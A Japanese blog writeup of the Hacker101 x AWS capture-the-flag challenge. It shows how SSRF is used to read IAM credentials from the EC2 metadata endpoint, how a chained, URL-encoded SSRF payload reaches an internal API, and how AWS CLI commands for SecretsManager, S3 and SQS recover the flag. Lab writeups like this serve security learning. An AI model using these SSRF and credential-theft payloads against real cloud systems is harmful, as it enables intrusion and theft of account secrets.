AWS x HackerOneのCTFやってみた(writeup) #hacker101

Hacker101 CTFのAWSコラボ問題をやってみました。こちらはwriteupとなってますのでネタバレ注意。CTF自体は常設なようなので勉強のために挑戦してみるのもいいと思います。
2021.04.13

この記事は公開されてから1年以上経過しています。情報が古い可能性がありますので、ご注意ください。

こんにちは、臼田です。

みなさん、AWSのセキュリティ楽しんでますか?(挨拶

今回はHackerOneからAWSのハッキングスキルを試すCTFコンテンツが4/5 - 12の期間限定で公開されていたので挑戦してみました。

Hacker101 CTF概要

最初にコンテンツの紹介を。HackerOneは企業と侵入テスターおよびサイバーセキュリティ研究者をつなぐ脆弱性調整およびバグ報奨金プラットフォームです。(wikipediaより引用)

HackerOneが主催するHacker101はWebセキュリティに関する無料のオンラインコースでビデオレッスンも備えています。コンテンツはBurpプロキシセットアップから、Cookieのセキュリティ、クリックジャッキングや暗号化攻撃など様々あります。その中にHacker101 CTFもあります。

Hacker101 CTF自体は常設されたCTFですが、AWSとコラボした問題は期間限定のようですね。

writeup

以下はwriteup(ネタバレ含む)です。

問題を開始すると専用のURLを発行されます。

アクセスするとWebサイトのURLを入力して動作を確認するページが出てきます。これはもろ…SSRFですね。

http://169.254.169.254/latest/meta-data/iam/security-credentials/にSubmitするとIAM Role名が返ってきてそれも含めてクレデンシャルが取得できます。

さっくりと取れるなーと思いましたが、これで終わりませんw

取得したクレデンシャルからIAM周りの権限を確認しましたがすべてAccess Deniedで権限が足りませんでした。持っている権限がわからないのでここから手探りです。pacuを使ってクロールしていくとus-west-2にEC2インスタンスが立っているのが確認できます。

4台あり、うち3台は同じサブネットに所属しています。パブリックIPも持っているのでアクセスしてみると、全てSSRF対象のフロントサイトでした。サイトのDNS名を解決するとまた別のIPが返ってくるので、ALB配下に3台あることが予想できます。直接フロントのEC2にアクセスできるのでそちらの筋も詳細に確認したいですが(多少は確認しましたが)もっと重要なのは残りの1台のEC2です。

プライベートサブネットに設置されていてフロントサイトからアクセスして欲しそうにしています。というわけでリクエストすると以下のように。

200で返ってこないけどWebサービスは生きています。中身を見たいのでchromeのDevToolで眺めていましたが、レスポンスはbase64エンコードされて返ってきます。面倒なのでエラーメッセージが出るjsを書き換えてPreview側に出すようにします。エラーメッセージにはMissing api_key parameter. See AWS SecretsManager.とやさしいなぁ…

SecretsManagerには3つのパラメーターがあり、web_service_health_api_keyh101_flag_secret_mainh101_flag_secret_secondaryと、フラグがチラ見せ。しかしapi_keyしか取得できません。

とりあえず取得したapi_keyを使ってプライベートEC2に引き続きアクセスします。

返ってくるサイトはパット見よくわかりません。

コードを確認するとマシンのステータスを確認して、OK/NGを表示するサイトのようです。しかしマシンのリストはなにもない。htmlに埋め込まれているjsのリンクを確認すると以下のようになっていました。

function authenticated_fetch(addr) {
  let separator = addr.includes("?") ? "&" : "?";
  return fetch(`${addr}${separator}api_key=${api_key}`);
}
fetch_machines().then((result) => result.json()).then((machine_addrs) => {
  machine_addrs.forEach((addr) => {
    fetch_system_status(addr).then((result) => result.json()).then((data) => {
      let status_table = document.getElementById("status_table");
      let status_row = document.createElement("tr");
      let machine_addr = document.createElement("td");
      machine_addr.textContent = addr;
      let machine_status = document.createElement("td");
      machine_status.textContent = data["success"] ? "OK" : "UNREACHABLE";
      machine_status.className = data["success"] ? "ok" : "err";
      status_row.appendChild(machine_addr);
      status_row.appendChild(machine_status);
      status_table.appendChild(status_row);
    })
  });
});

マシンのリストを確認する/api/get_machinesとステータスを確認する/api/get_statusがあります。ステータスを確認する際にaddrをとっているのでここから更に多段SSRFができそうに。

ちなみにマシン一覧を確認すると500エラーになりました。こっちも使いみちがあるかと思い色々試してみたくなりますが(試しましたが)SSRFします。

http://10.0.0.55/api/get_status?api_key=xxxxxxxxxxxxxxxxx%26addr=169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials

多段なのでURIエンコードするのと、addrがこちらはhttp://がいらないので注意。IAM Role名を取得したらそのままクレデンシャルを取得します。

獲得したクレデンシャルからSecretsManagerのフラグを確認すると、h101_flag_secret_mainは確認できずh101_flag_secret_secondaryのみ取得できました。secondaryだけナンデ?

引き続き取得したクレデンシャルでpacuで色々確認していくと、S3のバケットリストが取得できました。

aws s3 ls
2021-04-07 01:56:17 awsctfelblogs
2021-04-07 13:53:15 awsctfelbqueryresults
2021-03-17 23:04:26 h101-dev-notes
2021-03-17 23:03:20 h101-flag-files
2021-03-17 05:22:02 h101ctfloadbalancerlogs

ここにもいかにもflagが。しかしオブジェクト一覧が取得できたのはh101-dev-notesのみでした。README.mdがあるので取得して中身を見ると、フラグの作り方が書いてありました。

# Flag Generation
This document outlines the steps required to generate a flag file.

## Steps
1. Fetch your `hid` and `fid` values from the `/api/_internal/87tbv6rg6hojn9n7h9t/get_hid` endpoint.
2. Send a message to the SQS queue `flag_file_generator` with the following format
```json
{"fid": "", "hid": ""}
```
where `` and `` are the values you received in step 1.
3. Get the `.flag` file from the `flag-files` (name may be slightly different) S3 bucket.

## Tips

If you've never worked with SQS (Simple Queue Service) before then the [following link](https://docs.aws.amazon.com/cli/latest/reference/sqs/send-message.html)
may be helpful in sending messages from the aws cli tool.

SQSを使ってフラグを生成するとかAWSっぽいですね。生成URLにアクセスして2つのidを獲得します。

http://10.0.0.55/api/_internal/87tbv6rg6hojn9n7h9t/get_hid?api_key=xxxxxxxxxxxxxxxxxxxxxxx

取得したらSQSへsend-messageします。一応quere-urlを先に取得しておきます。

aws sqs get-queue-url --queue-name flag_file_generator

aws sqs send-message --queue-url https://us-west-2.queue.amazonaws.com/999999999999/flag_file_generator --message-body '{"fid": "xxxxxxxxxxxxxxxxxxxxxxxx", "hid": "xxxxxxxxxxxxxxxxxxxxxxxx"}'

key名もわかっているのでh101-flag-filesから直接getします。

aws s3api get-object --bucket h101-flag-files --key xxxxxxxxxxxxxxxxxxxxxxx.flag ./flag

取得したフラグを最初のサイトに打ち込んでHacker101 CTFのフラグをゲットです。

ちなみに最初の生成されたURLのサイトで取得したflagじゃないと受け付けないので、サイトをリセットするとflagが通らないので気をつけましょう(1日負け)

まとめ

Hacker101 CTFをやってみました。

普通のWeb問と少し違うAWS問らしい感じでした。欲を言えばもっと現実的な問題も欲しいですが、多段SSRFやSQSでフラグ発行など面白い要素があり楽しめました。

良い子は絶対ユーザーにURLを入力させるサイトを作っちゃだめだぞ!お兄さんとの約束だ!